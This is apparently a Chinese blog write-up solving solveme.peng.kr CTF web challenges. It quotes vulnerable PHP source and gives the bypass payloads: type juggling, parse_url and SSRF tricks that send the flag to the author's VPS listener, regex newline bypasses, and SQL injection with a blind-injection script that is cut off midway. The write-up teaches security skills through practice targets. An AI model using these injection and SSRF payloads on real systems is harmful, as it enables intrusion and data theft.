Sky's blog

solveme.peng.kr-web

Word count: 5,614 / Reading time: 30 min
2018/03/15 Share

前言

最近发现了一个web练习平台:http://solveme.peng.kr/chall
里面所有的web都是源码审计,感觉网上相关题解很少,于是抽空做了一下,写了一篇文章,欢迎大家和我多多交流!

warmup

应该是道签到题

1
2
3
4
5
6
7
<?php
error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);

题目给出字符串:1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
我们反解一下即可:

1
2
3
4
<?php 
$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";
echo hex2bin(strrev(bin2hex(base64_decode($str))));
?>

即可得到结果:flag{582a0f2c7e302244b110cc461f5cb100}

Bad compare

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['answer'])){

if($_GET['answer'] === 'роВхУъесЧМ'){
echo $flag;
}else{
echo 'Wrong answer';
}

echo '<hr>';
}

highlight_file(__FILE__);

其中answer需要等于一个奇怪的字符串,如果直接复制就会解析有问题(我粘贴的代码中已经解析出错了,实际上都不是ascii码中可见字符),所以我使用了一个脚本获取这串解析有误的字符串

1
2
3
4
5
import requests
import urllib
url = "http://badcompare.solveme.peng.kr"
s = requests.get(url=url)
print urllib.quote(s.content[917:927])

得到结果

1
%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC

最后提交即可

1
http://badcompare.solveme.peng.kr/?answer=%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC

拿到flag:flag{446c7b68ad824cd9c1df87158717aa2b}

Winter sleep

题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['time'])){

if(!is_numeric($_GET['time'])){
echo 'The time must be number.';

}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';

}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';

}else{
sleep((int)$_GET['time']);
echo $flag;
}

echo '<hr>';
}

highlight_file(__FILE__);

可见我们输入一个介于5184000~7776000直接的值即可拿到flag
但实际上这样我们的浏览器会sleep大量时间,显然不可取
这里选择弱比较

1
2
3
4
5
6
7
8
<?php 
echo 60 * 60 * 24 * 30 * 2;
echo "\n";
echo 6e6;
echo "\n";
echo (int)'6e6';
echo "\n";
echo 60 * 60 * 24 * 30 * 3;

可以看以上脚本
输出内容:

1
2
3
4
5184000
6000000
6
7776000

故此访问http://wintersleep.solveme.peng.kr/?time=6e6,等待6秒,即可拿到flag:flag{2d4e9b6608efb8088abb2345ef2f7b90}

Hard login

给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';

if(isset($_GET['username'], $_GET['password'])){

if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';

}else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..';

}else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..';

}else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}

echo '<hr>';
}

highlight_file(__FILE__);

说实话这题真心坑……
我看到后一直在尝试用户名密码……很崩溃,一直没解出来
最后看到他的跳转header('Location: ./');
索性尝试一下直接访问index.php,但是发现不行,会跳转回来
于是尝试curl了一下

1
2
root@ubuntu-512mb-sfo2-01:/var/log/apache2# curl http://hardlogin.solveme.peng.kr/index.php
flag{0c6c0da40b898083181495d760759e78}<hr><code><span style="color: #000000">

立刻拿到flag……泪崩

URL filtering

看到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
require __DIR__."/lib.php";

$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);

$params = explode("&", $url_query);
foreach($params as $param){

$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}

if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}

if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}

highlight_file(__FILE__);

看到过滤

1
2
3
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}

但是题目却要求我们使用do_you_want_flag=yes来获取flag
显然相互矛盾,我们寻找漏洞点,发现url的解析工作有由parse_url()操作
此时相当parse_url一个解析漏洞,详情可以戳我的这篇文章:

1
http://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

所以我最后的bypass payload为:

1
http://urlfiltering.solveme.peng.kr///?do_you_want_flag=yes

即可拿到flag:flag{dce9d958be17f0f360b8148706e87bf2}

hashcollision

看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['foo'], $_GET['bar'])){

if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
die('Too long');
}

if($_GET['foo'] === $_GET['bar']){
die('Same value');
}

if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
die('Different hash');
}

echo $flag, '<hr>';
}

highlight_file(__FILE__);

可以看到要求我们用不同的值,并且sha512相等,所以立刻想到数组绕过漏洞

1
http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2

访问即可拿到flag:flag{0cec577bd45696ab552fe3ab6110c35b}

Array2String

拿到题目直接给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
require __DIR__.'/lib.php';

$value = $_GET['value'];

$username = $_GET['username'];
$password = $_GET['password'];

for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);

if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

这里要求不能输入username,并且输入的vaule不在ascii码可见范围内
但是最后又要求value经过chr后拼接的username为’15th_HackingCamp’
这里我的第一反应是利用强转和弱比较之类的trick,所以我首先构造了脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$i=0;
while ($i <= 100) {
$test = $i."e1";
if ($test > 32 && $test < 127)
{
}
else
{
if ((ord(chr($test))>32)&&(ord(chr($test))<127))
{
echo "test:".$test." chr:".chr($test)."\n";
}
}
$i = $i+0.1;
}

然后很轻松得到可以Bypass的值(如下给出部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
test:28.9e1   chr:!
test:29e1 chr:"
test:29.1e1 chr:#
test:29.2e1 chr:$
test:29.3e1 chr:%
test:29.4e1 chr:&
test:29.5e1 chr:'
test:29.6e1 chr:(
test:29.7e1 chr:)
test:29.8e1 chr:*
test:29.9e1 chr:+
test:30e1 chr:,
test:30.1e1 chr:-
test:30.2e1 chr:.
test:30.3e1 chr:/
test:30.4e1 chr:0
test:30.5e1 chr:1
test:30.6e1 chr:2
test:30.7e1 chr:3
test:30.8e1 chr:4
test:30.9e1 chr:5
test:31e1 chr:6

容易得到payload:

1
http://array2string.solveme.peng.kr/?value[]=56.100000000001e1&value[]=82.1e1&value[]=88.499999999999e1&value[]=87.299999999999e1&value[]=86.399999999999e1&value[]=84.099999999999e1&value[]=60.900000000001e1&value[]=61.100000000001e1&value[]=61.900000000001e1&value[]=61.700000000001e1&value[]=62.200000000001e1&value[]=61.500000000001e1&value[]=57.900000000001e1&value[]=60.900000000001e1&value[]=62.100000000001e1&value[]=62.400000000001e1&password=simple_passw0rd

但后来经过查阅chr()相关函数:

1
2
3
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)

得知chr()会自动进行mod256
所以我们可以更简单的得到一个payload

1
http://array2string.solveme.peng.kr/index.php?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd

最后得到结果

1
2
Hello 15th_HackingCamp!
flag{91b966596782c89bc6eb4daa75f459d7}

看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['url'])){
$url = $_GET['url'];

if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}

if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}

$parse = parse_url($url);
if($parse['path'] !== '/plz_give_me'){
die('Not allowed path');
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

echo 'Okay, I sent the flag.', '<hr>';
}

highlight_file(__FILE__);

首先看到3个过滤
1.过滤了下划线
2.限制了$_SERVER['HTTP_HOST'],并且抓包不允许修改HOST
3.parse_url解析后路径需为/plz_give_me
这里显然1和3是冲突的
然后flag的获取方式

1
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);

和2是冲突的
首先我们解决下划线被waf的问题
查阅parse_url的官方手册,可以知道

1
2
url
The URL to parse. Invalid characters are replaced by _.

无效的字符会被自动替换成下划线
我们尝试一下

1
2
3
4
<?php 
$url = urldecode("http://skysec.top/%1atest%1a");
var_dump(parse_url($url));
?>

得到

1
2
3
4
5
6
7
8
array(3) {
["scheme"]=>
string(4) "http"
["host"]=>
string(10) "skysec.top"
["path"]=>
string(7) "/_test_"
}

发现%1a可以成功被替换成下划线
那么我们第一个问题解决了,下面是如何解决Host的问题
在官方手册中还有这样一句

1
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

所以Host的值我们可以构造

1
givemealink.solveme.peng.kr@vps_ip

去绕过检测
所以最后payload为

1
http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame

服务器上收到flag:

1
223.26.138.11 - - [15/Mar/2018:12:44:15 +0000] "GET /flag{0983f9eaa0357982b2c0b4c6c037dfe3} HTTP/1.1" 404 477 "-" "-"

givemealink2

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['url'])){
$url = $_GET['url'];

if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}

$parse = parse_url($url);
if(!preg_match('/^https?$/i', $parse['scheme'])){
die('Not allowed scheme');
}

if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}

if(!preg_match('/\/plz_give_me$/', $parse['path'])){
die('Not allowed path');
}

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if($socket === false){
die('Failed to create socket');
}

$host = gethostbyname($parse['host']);
$port = is_null($parse['port']) ? 80 : $parse['port'];

if(socket_connect($socket, $host, $port) === false){
die('Failed to connect');
}

$send = "HEAD /".$flag." HTTP/1.1\r\n".
"Host: ".$host.":".$port."\r\n".
"Connection: Close\r\n".
"\r\n\r\n";
socket_write($socket, $send, strlen($send));

$recv = socket_read($socket, 1024);var_dump($recv);
if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
die('Not allowed response');
}

socket_close($socket);

echo 'Okay, I sent the flag.', '<hr>';
}

highlight_file(__FILE__);

发现这题和上一题类似,但是这里对host有了新的要求:

1
2
3
if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}

正则要求以localhost和127开头,但是存在缺陷
由于是127.0.0.1这样的形式,我们可以直接用ip2long来绕过
构造脚本如下

1
2
3
<?php 
echo ip2long("vps_ip");
?>

然后在vps上打开监听

1
nc -l -vv -p 23333

然后发送payload:

1
http://givemealink2.solveme.peng.kr/?url=http://ip2long_vps_ip:23333/plz%01give%01me

即可收到flag:flag{51e22d08303881dd898f916cb1956c4e}

Replace filter

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['say']) && strlen($_GET['say']) < 20){

$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);

if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}

echo '<hr>';
}

highlight_file(__FILE__);

审计代码
发现正则写法为:

1
/^(.*)flag(.*)$/

而这个写法是存在缺陷的:
.用于任意字符匹配并不包括换行符,而且^ $界定了必须在同一行,否则匹配不到,也就是说,换行的话,即可破解
所以payload为:

1
http://replacefilter.solveme.peng.kr/?say=%0agive_me_the_flag

得到flag:flag{f7b4422c4570282e64560f081701ccfa}

Hell JS

拿到网页f12是一堆js混淆
用脚本跑了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/python
# coding: utf-8

js = "......" #此处省去源码

alpha_dict = {
'"f"': '(![]+[])[+[]]',
'"i"': '([][[]]+[])[!![]+!![]+!![]+!![]+!![]]',
'"l"': '(![]+[])[!![]+!![]]',
'"t"': '(!![]+[])[+[]]',
'"e"': '(!![]+[])[!![]+!![]+!![]]',
'"r"': '(!![]+[])[+!![]]',
'"c"': '({}+[])[!![]+!![]+!![]+!![]+!![]]',
'"o"': '({}+[])[+!![]]',
'"n"': '([][[]]+[])[+!![]]',
'"s"': '(![]+[])[!![]+!![]+!![]]',
'"u"': '(!![]+[])[!![]+!![]]',
'" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
'"b"': '({}+[])[!![]+!![]]',
'" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
'"a"': '(![]+[])[+!![]]',
'"2"': '(!![]+!![]+[])',
'"4"': '(!![]+!![]+!![]+!![]+[])',
'"7"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',
'"y"': '(+(+!![]+"e"+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
'"0"': '(+[]+[])',
'"3"': '(!![]+!![]+!![]+[])',
'"5"': '(!![]+!![]+!![]+!![]+!![]+[])',
'"1"': '(+!![]+[])',
'"9"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',
'"8"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',
'"6"': '(!![]+!![]+!![]+!![]+!![]+!![]+[])',
'"y"': '(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
'"d"': '([][[]]+[])[!![]+!![]]',
'[3]': '[!![]+!![]+!![]]'
}

for key, value in alpha_dict.items():
js = js.replace(value, key)

clean_dict = {
'"p"': '([]["filter"]["constructor"]("return "+"location")()+[])[3]',
'"constructor"': '"c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"',
'"return "': '"r"+"e"+"t"+"u"+"r"+"n"+" "',
'"filter"': '"f"+"i"+"l"+"t"+"e"+"r"',
'"fontcolor"': '"f"+"o"+"n"+"t"+"c"+"o"+"l"+"o"+"r"',
'"location"': '"l"+"o"+"c"+"a"+"t"+"i"+"o"+"n"',
'"110"': '"1"+"2"+"2","3"+"2","1"+"0"+"5","1"+"1"+"0"',
'"111"': '"1"+"1"+"1"',
'"99"': '"9"+"9"',
'"98"': '"9"+"8"',
'"57"': '"5"+"7"',
'"101"': '"1"+"0"+"1"',
'"108"': '"1"+"0"+"8"',
'"106"': '"1"+"0"+"6"',
'"61"': '"6"+"1"',
'"112"': '"1"+"1"+"2"',
'"116"': '"1"+"1"+"6"',
'"40"': '"4"+"0"',
'"34"': '"3"+"4"',
'"119"': '"1"+"1"+"9"',
'"105"': '"1"+"0"+"5"',
'"102"': '"1"+"0"+"2"',
'"125"': '"1"+"2"+"5"',
'"102"': '"1"+"0"+"2"',
'"97"': '"9"+"7"',
'"100"': '"1"+"0"+"0"',
# # '"u"': '("1"["s"+"u"+"b"]())[!![]+!![]]'
}

for key, value in clean_dict.items():
js = js.replace(value, key)

print js

得到运行结果(过长就不写全了),发现其中有大量数字:

1
"4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"

这引起了我的注意
随即我处理了一下

1
47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125

然后调用js函数解析

1
document.write(String.fromCharCode(47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125))

得到回显:

1
// good job! let flag = prompt("what is the flag?"); if (flag === "") { alert("plnput"); } else if (flag === "flag{21df4ad3ce31af845cf9cd6a5eddbb91}") { alert("bingo"); } else { alert("wrong"); }

可以发现flag

Anti SQLi

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// It's 'Anti SQLi' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';

$id = $_GET['id'];
$pw = $_GET['pw'];

if(isset($id, $pw)){
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
) and die('Hack detected');

$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');

$result = mysqli_fetch_array(
mysqli_query(
$con,
"SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
)
);
mysqli_close($con);

if(isset($result)){
if($result['no'] === '31337'){
echo $flag;
}else{
echo 'Hello, ', $result['id'];
}
}else{
echo 'Login failed';
}
echo '<hr>';
}

highlight_file(__FILE__);

首先看过滤:

1
2
3
4
5
6
7
8
9
10
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
)

一眼就看到好像有什么地方不对,因为之前自己写过滤犯过同样的错误

1
|\\|

对于\的过滤问题,这样显然是错误的,正确的写法应该为\\\\
那么这是出题人留下的提示吗?或是出题人大意了?
顺着反斜杠的思路思考,猜想应该是用反斜杠吃掉一个单引号
那么可以引入注释符吗?
注意到过滤

1
|#|--[\s\xA0]|

显然用%23去注释已经被限制死了
但是–好像还有机会
我们知道直接使用–是没有注释效果的
但是如果使用-- 1类似的才会有效果
但此时过滤了空格和%0a,以及前面的一对乱七八糟的过滤
所以想用–注释并不是很轻松,那是既然出题人没有写死,说明突破点的确在此
想到之前的parse_url那题的不可见字符,于是随手测试了一下
发现的确未被过滤,又看到题目要求no为31337
于是猜想应该是3列,并且需要union
于是开始构造payload:

1
http://antisqli.thinkout.rf.gd/?id=\&pw=union select 1,1,1 from antisqli --%1A

发现回显Hack detected
再去看过滤

1
union[\s\xA0]+select

发现中间不可以有空格,那加个all好了

1
http://antisqli.thinkout.rf.gd/?id=\&pw=union all select 1,1,1 from antisqli --%1A

得到回显:

1
Hello, 1

再次尝试

1
http://antisqli.thinkout.rf.gd/?id=\&pw=union all select 2,2,2 from antisqli --%1A

又得到回显

1
Hello, 2

ok,看来此题破解了
最后的payload:

1
http://antisqli.thinkout.rf.gd/?id=\&pw=union all select 31337,31337,31337 from antisqli --%1A

得到flag:flag{5a0841c4738a69af352a06d282bece78}

Name check

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['name'])){

$name = $_GET['name'];
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
echo 'Not allowed input';
goto quit;
}

$sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
$res = $sql->query("
SELECT
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
;");
if($res === false){
echo 'Database error';
goto quit;
}

$row = $res->fetchArray(SQLITE3_NUM);
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}

echo $flag;

quit:
echo '<hr>';
}

highlight_file(__FILE__);

首先看源码,如何获取flag?

1
2
3
4
5
6
7
8
9
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}

echo $flag;

从条件可以看出,我们必须让4个值的和为4
从sql语句来看,满足的唯一方法就是sql的4个操作均为true
也就是

1
2
3
4
5
SELECT 
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'

全部满足的情况下
那我们逐个分析:
第一行意思为你输入的必须以a开头
第二行的意思是你输入的需要有d
第三行的意思是你输入的是中间是字符m)
第四行就是字符以in结尾
这不就是admin吗
再去看过滤

1
2
3
4
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
echo 'Not allowed input';
goto quit;
}

发现admin被过滤了
那么从sqlite的特性考虑
查阅手册发现:

1
SQLite中,连接字符串不是使用+,而是使用||

随即想到用||进行连接
发现未被过滤,于是得到payload

1
http://namecheck.solveme.peng.kr/?name=adm'||'in

I am slowly

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// It's 'I am slowly' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';

$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
$answer = $_GET['answer'];

if(isset($answer)){
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');

$result = mysqli_fetch_array(
mysqli_query($con, "SELECT `count` FROM `{$table}`;")
);
if(!isset($result)){
mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
$new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");

}elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}

$randtime = mt_rand(1, 10);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);
if(isset($result) && $result['answer'] === $answer){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo $flag;
}else{
mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
echo 'Go fast';
}

quit:
mysqli_close($con);
echo '<hr>';
}

highlight_file(__FILE__);

审计代码容易发现漏洞点:

1
2
3
4
5
elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}

只有当count === 12时才会drop表
但是代码存在致命漏洞,即先进行sql查询再将count+1,然后在下一次访问后才会drop
那么我们是否可以构造
1.count=11时候停止
2.先请求一个sleep(50)的请求
此时已经经过了count===12的检测
最后网页一直停止在

1
2
3
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);

3.再立刻请求一个不带注入sleep的
4.显然3先完成,这时候count为12
5.过了一会儿2完成了,由于已经经过检测,所以不会因为count===12而drop,所以成功,count+1,此时count成为13
那么我们即可成功绕过count的限制进行无限制注入
这里我写了一个盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
header = {
"Host":"iamslowly.thinkout.rf.gd",
"Cache-Control":"max-age=0",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer":"http://solveme.peng.kr/chall",
"Accept-Language":"zh-CN,zh;q=0.8",
"Cookie":"__test=a2fbff5c2fbbbf79071a4e0abbb76f3f"
}
flag = ""
for i in range(1,1000):
for j in "abcdef1234567890":
